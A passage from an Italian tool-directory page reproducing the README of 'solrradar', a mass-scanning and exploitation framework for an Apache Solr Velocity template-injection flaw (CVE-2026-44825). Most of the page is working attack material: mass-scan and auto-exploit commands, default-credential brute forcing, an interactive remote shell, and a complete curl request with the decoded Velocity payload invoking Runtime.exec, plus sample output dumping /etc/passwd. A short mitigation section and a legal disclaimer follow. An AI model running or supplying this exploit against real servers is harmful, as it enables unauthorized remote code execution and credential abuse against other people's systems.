Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
solrradar — ☄️ Framework di ricognizione e sfruttamento di massa per Apache Solr CVE-2026-44825 — Iniezione di template Velocity a RCE | Kitploit
Strumenti/GitHubGitHub/shinthink/solrradar
RicognizioneScanner di VulnerabilitàAttacchi alle PasswordExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingCommand and ControlRed TeamingSviluppo Payload
GitHubshinthink/solrradar
511 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

solrradar

☄️ Framework di ricognizione e sfruttamento di massa per Apache Solr CVE-2026-44825 — Iniezione di template Velocity a RCE

Vedi Repository
Condividi

SolrRadar — CVE-2026-44825 Scanner Apache Solr

Python CVE License

Threads Version Brute RCE Shell

Framework di Ricognizione di Massa & Exploitation per Apache Solr

Velocity Template Injection → Esecuzione di Codice Remoto



📑 Indice

  • Panoramica della Vulnerabilità
  • Versioni Affette
  • Funzionalità
  • Installazione
  • Utilizzo
  • Prova di Concetto
  • Approfondimento Tecnico
  • Metodologia di Rilevamento
  • Difesa & Mitigazione
  • Disclaimer
  • Riferimenti

🔴 Panoramica della Vulnerabilità

CVE-2026-44825 è una vulnerabilità di gravità critica in Apache Solr che consente agli aggressori di ottenere Esecuzione di Codice Remoto (RCE) non autenticata tramite injection di template Velocity.

Il Problema

L'endpoint /select di Apache Solr accetta un parametro wt=velocity che renderizza template Velocity forniti dall'utente. Quando il Velocity Response Writer è abilitato (o può essere abilitato tramite API di configurazione), un aggressore può iniettare un template dannoso che chiama java.lang.Runtime.exec(), eseguendo comandi arbitrari del sistema con i privilegi del processo Solr.

Impatto

VettoreGravitàImpatto
RCE non autenticata

Il Motore di Template Velocity

Apache Solr include Apache Velocity come motore di template opzionale per il rendering delle risposte. La vulnerabilità risiede nel VelocityResponseWriter di Solr che elabora i parametri template controllati dall'utente senza un'adeguata sanificazione, consentendo l'invocazione diretta delle API di reflection di Java:

root@kitploit:~
Catena di Reflection Java:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

🟠 Versioni Affette

Nota: I controlli di versione vengono eseguiti automaticamente analizzando la risposta JSON di /admin/info/system.


✨ Funzionalità


📦 Installazione

root@kitploit:~
# Clona il repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar

# Installa le dipendenze
pip install -r requirements.txt

# Verifica
python solr_scanner.py --help

Requisiti

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Solo librerie standard + requests. Nessuna dipendenza esotica.


📖 Utilizzo

Argomenti da Riga di Comando

root@kitploit:~
Scanner Apache Solr CVE-2026-44825

  -t, --target     URL singolo target o IP[:porta]
  -f, --file       File contenente i target (uno per riga, # per commenti)
  --exploit        Auto-exploit se vengono trovate credenziali vulnerabili
  --rce            Avvia shell interattiva dopo l'autenticazione
  -u, --user       Nome utente per Basic Auth
  -pw, --password  Password per Basic Auth
  -o, --output     Percorso file output JSON          (default: solr_results.json)
  -w, --workers    Numero di thread concorrenti       (default: 30)
  -T, --timeout    Timeout richieste HTTP (secondi)    (default: 8)

Scansione di Base

root@kitploit:~
# Singolo target
python solr_scanner.py -t 192.168.1.100:8983

# Singolo target con percorso personalizzato
python solr_scanner.py -t http://example.com/solr

# Scansione di massa da file
python solr_scanner.py -f targets.txt -o results.json

Formato del File dei Target

root@kitploit:~
# targets.txt — supporta commenti e righe vuote
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24          # (CIDR non supportato; espandere con strumento esterno)

Exploitation

root@kitploit:~
# Scansiona + auto-exploit se trovate credenziali
python solr_scanner.py -f targets.txt --exploit

# Credenziali note + shell interattiva
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

# Brute-force automatico + shell in caso di successo
python solr_scanner.py -t target:8983 --rce

🧪 Prova di Concetto

Scenario 1: Rilevamento & Fingerprinting delle Versioni

root@kitploit:~
$ python solr_scanner.py -f targets.txt
root@kitploit:~
Scanner Apache Solr CVE-2026-44825

Target: 3 | Thread: 30 | Timeout: 8s
Scansione in corso...

[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
    Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr

Fatto. Totale:3 | Solr:3 | Vuln:1

Tutti e 3 i target rilevati. L'istanza 9.4.1 è contrassegnata come vulnerabile con Basic Auth abilitato.


Scenario 2: Brute-Force delle Credenziali

root@kitploit:~
$ python solr_scanner.py -t solr-target.internal
root@kitploit:~
Scanner Apache Solr CVE-2026-44825

[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
    [!] admin:SolrRocks
    Cols: ['cms', 'users', 'search', 'analytics']

La credenziale predefinita admin:SolrRocks concede l'accesso alle API admin di Solr. Quattro collezioni scoperte.


Scenario 3: RCE Autenticata tramite Iniezione Velocity

root@kitploit:~
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
root@kitploit:~
Scanner Apache Solr CVE-2026-44825

[+] admin:SolrRocks

solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)

solr$ hostname
solr-prod-cms-01.internal

solr$ whoami
solr

solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...

solr$ exit

Accesso completo alla shell interattiva con i privilegi del processo Java di Solr.


Scenario 4: Il Payload RCE (Riproduzione Manuale)

Per i ricercatori che vogliono comprendere lo scambio HTTP grezzo:

Passo 1 — Verifica che Solr sia raggiungibile

root@kitploit:~
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"

Passo 2 — Elenca le collezioni disponibili

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}

Passo 3 — Esegui comando tramite iniezione di template Velocity

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
  'http://target:8983/solr/cms/select'

Payload del template Velocity decodificato:

root@kitploit:~
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Risposta:

root@kitploit:~
uid=8983(solr) gid=8983(solr) groups=8983(solr)

🔬 Approfondimento Tecnico

Architettura

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                    SOLRRADAR                         │
├───────────────┬──────────────────────────────────────┤
│  FASE DI RICOGNIZIONE │       FASE DI EXPLOIT        │
│               │                                      │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Rileva  │──┼──▶ Brute-   │───▶│ Iniezione      │  │
│  │ Solr    │  │  │ force    │    │ Template       │  │
│  └────┬────┘  │  └────┬─────┘    │ Velocity RCE   │  │
│       │       │       │           └───────┬────────┘  │
│       ▼       │       ▼                   ▼           │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Controllo│  │  │ Credenziali   │  Runtime.exec() │  │
│  │ Versione │  │  │ Predefinite│  │ → RCE          │  │
│  └─────────┘  │  └──────────┘    └────────────────┘  │
│               │                                      │
│  ┌─────────┐  │  ┌────────────────────────────────┐  │
│  │ Sondaggio│  │  │ Shell Interattiva (--rce)      │  │
│  │ Auth    │  │  └────────────────────────────────┘  │
│  └─────────┘  │                                      │
└───────────────┴──────────────────────────────────────┘

Diagramma di Flusso

root@kitploit:~
URL Target
    │
    ▼
┌─────────────┐
│  normalizza │  → aggiungi http:// + /solr se mancante
└──────┬──────┘
       │
       ▼
┌─────────────┐     No
│ GET /admin/ ├────────  Salta target
│ info/system │
└──────┬──────┘
       │ Sì (200/401)
       ▼
┌─────────────┐
│ Analizza    │  → estrai solr-spec-version
│ JSON        │
│ fingerprint │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ is_vuln()   │  → 9.4–9.10.x o 10.0.0 ?
└──────┬──────┘
       │
       ├── Non vuln → Segnala, prosegui
       │
       ▼ Vuln
┌─────────────┐
│ Controllo   │  → /admin/cores?action=STATUS
│ auth        │  → /admin/collections?action=LIST
│ (3 fasi)    │
└──────┬──────┘
       │
       ├── Nessuna auth → Tenta elenco non autenticato
       │
       ▼ Auth rilevata
┌─────────────┐
│ Brute-force │  → 4 utenti × 8 password = 32 tentativi
│ credenziali │
└──────┬──────┘
       │
       ├── Nessuna corrispondenza → Segnala vuln (senza credenziali)
       │
       ▼ Credenziali trovate
┌─────────────┐
│ Elenca cols/│  → /admin/collections o /admin/cores
│ cores       │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ RCE via     │  → POST /{collection}/select
│ Velocity    │  → Template Velocity → Runtime.exec()
└─────────────┘

Perché bool(Response[401]) == False è Importante

Un subdolo errore Python scoperto durante lo sviluppo:

root@kitploit:~
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False          # ← Le risposte 4xx/5xx restituiscono False!

Questo significa che ogni controllo if response and ... salta silenziosamente le risposte di errore — anche quando si vuole gestire specificamente il 401. La correzione è usare sempre if response is not None and ...:

root@kitploit:~
# ❌ Errato — Le risposte 401 vengono saltate silenziosamente
if r and r.status_code == 401:
    auth = True

# ✅ Corretto — Controllo esplicito per None
if r is not None and r.status_code == 401:
    auth = True

🔍 Metodologia di Rilevamento

Lo scanner utilizza una strategia di rilevamento a 3 livelli per minimizzare i falsi negativi:

Livello 1 — Analisi del Contenuto del Corpo

root@kitploit:~
'solr' in response.text.lower()

Rileva Solr nelle chiavi JSON ("solr_home", "solr-spec-version", "mode":"solrcloud"), nei dashboard HTML e nelle pagine di errore — senza distinzione tra maiuscole e minuscole.

Livello 2 — Intestazione Server

root@kitploit:~
'solr' in response.headers.get('Server', '').lower()

Alcune distribuzioni includono "Solr" nell'intestazione HTTP Server.

Livello 3 — Sondaggio Auth Multi-Fase

root@kitploit:~
# Fase 1: Verifica codice risposta di /admin/info/system
# Fase 2: Sonda /admin/cores?action=STATUS per 401
# Fase 3: Sonda /admin/collections?action=LIST per 401

Rileva distribuzioni in cui /admin/info/system è pubblico ma le operazioni admin richiedono autenticazione.

Fingerprinting delle Versioni

Due pattern regex per robustezza:

root@kitploit:~
VERSION_RE = [
    r'solr-spec-version[^0-9]*([\d.]+)',   # lucene.solr-spec-version
    r'solr-impl-version[^0-9]*([\d.]+)',   # lucene.solr-impl-version
]

🛡️ Difesa & Mitigazione

Se stai eseguendo Apache Solr, applica queste misure di hardening immediatamente:

1. Aggiornamento (Raccomandato)

root@kitploit:~
# Aggiorna a una versione corretta
# Solr 9.x → 9.10.2 o successiva
# Solr 10.x → 10.0.1 o successiva

2. Disabilita Velocity Response Writer

root@kitploit:~
<!-- In solrconfig.xml — RIMUOVI o COMMENTA: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->

3. Abilita Basic Auth + Firewall

root@kitploit:~
# Limita l'accesso agli endpoint admin di Solr a livello di rete
# Consenti solo a range IP fidati di accedere alle porte 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP

4. Controlla il Tuo Parco

root@kitploit:~
# Usa questo scanner contro la tua INFRASTRUTTURA
python solr_scanner.py -f mie_istanze_solr.txt -o risultati_audit.json

⚠️ Disclaimer

🚨 SOLO A SCOPO EDUCATIVO & DI TEST AUTORIZZATI

Questo software è fornito esclusivamente a scopo educativo e per ricerca di sicurezza legittima. È destinato all'uso da parte di:

  • 🛡️ Professionisti della sicurezza che conducono test di penetrazione autorizzati
  • 🏢 Organizzazioni che controllano la propria infrastruttura Apache Solr
  • 🔬 Ricercatori che studiano tecniche di sfruttamento delle vulnerabilità
  • 🎓 Studenti che imparano la sicurezza delle applicazioni web

❌ Non puoi utilizzare questo software per:

  • Accedere a sistemi informatici senza esplicita autorizzazione scritta
  • Compromettere, danneggiare o interrompere sistemi che non possiedi
  • Impegnarti in attività illegali di qualsiasi tipo

⚖️ Avviso Legale

L'accesso non autorizzato a sistemi informatici viola leggi tra cui, ma non solo:

  • Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
  • Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • Unione Europea: Direttiva 2013/40/UE
  • Regno Unito: Computer Misuse Act 1990

Gli autori NON SI ASSUMONO ALCUNA RESPONSABILITÀ per qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo strumento. Utilizzando questo software, riconosci di essere l'unico responsabile delle tue azioni e accetti di rispettare tutte le leggi applicabili.


📚 Riferimenti


⚡ Costruito con precisione per la comunità di ricerca sulla sicurezza ⚡

Apache® e Apache Solr® sono marchi registrati di Apache Software Foundation.
Questo progetto non è affiliato né approvato da Apache Software Foundation.

Scarica lo strumento
9.8 (Critica)
Compromissione completa del sistema
RCE autenticata8.8 (Alta)Esecuzione di codice post-autenticazione
Divulgazione di informazioni5.3 (Media)Enumerazione di core/collezioni
Versione Apache SolrStatoNote
9.4.0 – 9.10.1🔴 VulnerabileSfruttamento attivo in natura
10.0.0🔴 VulnerabileVersione iniziale 10.x affetta
10.0.1+🟢 CorrettaFix backportato
9.10.2+🟢 CorrettaPatch disponibile
≤ 9.3.x🟢 Non AffettaVelocity Response Writer non presente
8.x (tutte)🟢 Non AffettaNessun supporto Velocity

🔍 Ricognizione

  • Scansione multi-target — 30 thread concorrenti, configurabili
  • Fingerprinting delle versioni — Estrazione esatta delle versioni Solr e Lucene
  • Rilevamento dual-mode — SolrCloud + Standalone (singolo nodo)
  • Sondaggio con autenticazione — Test di 3 endpoint admin per Basic Auth
  • Enumerazione delle collezioni — Elenca collezioni/core senza autenticazione quando possibile

💀 Exploitation

  • Brute-force delle credenziali — Dizionario integrato delle credenziali Solr predefinite
  • RCE Velocity — Iniezione di template tramite java.lang.Runtime.exec()
  • Shell interattiva — Pseudo-terminale per comandi post-exploitation
  • Catena di auto-exploit — Rileva → brute → RCE in un unico comando
  • Esportazione JSON — Output strutturato per l'integrazione con altri strumenti
RisorsaLink
Voce NVDCVE-2026-44825
Sicurezza Apache Solrsolr.apache.org/security
Documentazione Velocity SolrVelocity Response Writer
OWASP Template InjectionServer-Side Template Injection